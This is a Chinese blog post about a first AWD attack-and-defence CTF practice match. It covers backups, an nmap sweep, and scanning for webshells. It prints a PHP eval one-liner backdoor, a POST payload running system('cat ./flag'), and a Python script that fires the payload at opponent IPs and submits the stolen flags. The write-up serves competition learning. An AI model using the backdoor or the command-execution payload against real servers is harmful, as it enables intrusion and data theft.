本人没打过awd模式,和pwn大佬组队打了场练习赛,学到了很多,下面作总结一下经验.
AWD模式
AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。
- 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
- 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
- flag在主办方的设定下每隔一定时间刷新一轮;
- 各队一般都有自己的初始分数;
- flag一旦被其他队伍拿走,该队扣除一定积分;
- 扣除的积分由获取flag的队伍均分;
- 主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;
- 一般每个队伍会给一个低权限用户,非root权限;
赛前准备
- 做好备份,在龙哥指导下,下载了Winscp建立起站点,按照说明书给的题目ip进行会话连接,可以看到自己的flag和源代码题目目录等等,这就是自己的flag与目录了。然后将这些所有文件夹进行复制备份,龙哥说可以在被入侵时删掉这些后门重新放进去备份.
- 比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此首先可以利用nmap等扫描工具发现其他队伍的IP
1 | nmap –sn 192.168.71.0/24 |
或者用https://github.com/zer0h/httpscan 的脚本进行扫描
预留后门
- 这里我用的webshell检测工具D盾,可以对源代码查出漏洞问题,从而进行挖洞以及自身后门的防备。这里的备份很关键,方便自己找出后门漏洞。
- 拿到源代码后立刻用D盾进行扫描
可以看到许多漏洞,最简单的是一句话木马.
比赛题型有很多,就拿我做的一道最简单的一句话木马来作例子1
@eval($_POST["HDwiki"]);
这题有两种方法
构造post如下
1
HDwiki=system('cat ./flag')
也可以用菜刀连接,方便直观flag的目录所在,还可以上传一句话木马防备对手进行删掉原有的一句话木马
- 写脚本爆破,下面附上龙哥写的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#coding:utf-8
import re
import requests
url_submit = "http://172.16.4.1/Common/submitAnswer"
url_test = "http://172.16.5.20:5050/index.php"
url = [
"http://172.16.5.14:5050/index.php",
"http://172.16.5.13:5050/index.php",
"http://172.16.5.16:5050/index.php",
"http://172.16.5.15:5050/index.php",
"http://172.16.5.20:5050/index.php",
"http://172.16.5.19:5050/index.php",
"http://172.16.5.18:5050/index.php",
"http://172.16.5.17:5050/index.php"
]
post_data = {'HDwiki':"system('cat /flag');"}
token = 'f7dfe4ef29acdf1036bd971e3488c5f6'
# submit_flag = {'answer':flag,'token':token}
for i in url:
response = requests.post(i, data = post_data)
print(response.text[0:36])
flag = response.text[0:36]
# if "flag" in response.text:
# print("flag in ")
# print(token)
sub_response = requests.post(url_submit,data = {'answer':flag,'token':token})
print(sub_response.text)
最后
这只是校内练习赛而已,第一次接触awd模式的CTF学到了很多,上面方法有点水不能在真正赛场用,有点慢,一般都走写脚本。祝大家打比赛快乐。